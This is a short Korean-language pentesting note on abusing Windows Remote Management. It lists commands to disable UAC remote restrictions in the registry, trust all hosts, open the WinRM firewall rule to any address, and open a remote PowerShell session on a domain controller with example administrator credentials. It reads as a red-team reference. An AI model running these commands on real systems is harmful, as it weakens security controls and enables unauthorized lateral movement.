winrm

winrm(Windows Remote Management)은 Windows에서 원격 명령 실행을 위한 프로토콜입니다.

AD 환경에서는 Remote Management Users 그룹에 속한 도메인 계정은 winrm이 활성화된 모든 컴퓨터에 연결할 수 있지만, Windows 로컬의 경우 별도로 UAC 원격 제안으로 인해 네트워크 연결이 불가능합니다.

대상 시스템에 관리자 권한(High mandatory level)의 원격 명령 실행이 가능할 경우 해당 레지스트리를 수정하여 네트워크 접속을 허용할 수 있습니다.

Abuse

# UAC 원격 제한 해제
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

# winrm 서비스 시작 및 설정 구성
net start winrm
Set-Item WSMAN:\localhost\Client\TrustedHosts -Value "*" -Force
Set-NetFirewallRule -Name 'WINRM-HTTP-In-TCP' -RemoteAddress Any
# 원격 서버와의 시간 동기화
w32tm /config /manualpeerlist:"AD01.CONTOSO.COM" /syncfromflags:manual /update
w32tm /resync /force

# PSRemoting으로 원격 쉘 획득
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('CONTOSO\Administrator', $pass)
Enter-PSSession -ComputerName DC01 -Credential $cred

# 쉘 획득 없이 원라인 커맨드 실행
winrs /r:http://'<target-ip>':5985/wsman /u:'<username>' /p:'<password>' whoami

References

Last updated